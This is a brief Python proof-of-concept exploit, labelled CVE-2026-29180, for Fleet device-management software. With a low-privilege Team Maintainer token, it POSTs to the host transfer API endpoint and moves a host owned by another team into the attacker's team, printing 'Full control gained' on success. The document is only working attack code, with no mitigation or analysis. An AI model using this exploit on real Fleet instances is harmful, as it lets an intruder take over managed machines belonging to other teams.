CVE-2026-29180

import requests # Target vulnerable Fleet instance target_url = "https://fleet.example.com/api/v1/fleet/hosts/{target_host_id}/transfer" # Attacker's authentication token (Team Maintainer role) headers = { "Authorization": "Bearer <ATTACKER_TOKEN>", "Content-Type": "application/json" } # Payload to transfer a host from another team to attacker's team # The vulnerability allows transferring any host ID to the attacker's team payload = { "team_id": "<ATTACKER_TEAM_ID>" } # Send the malicious request response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Host transfer successful! Full control gained.") else: print("[-] Failed to transfer host.")

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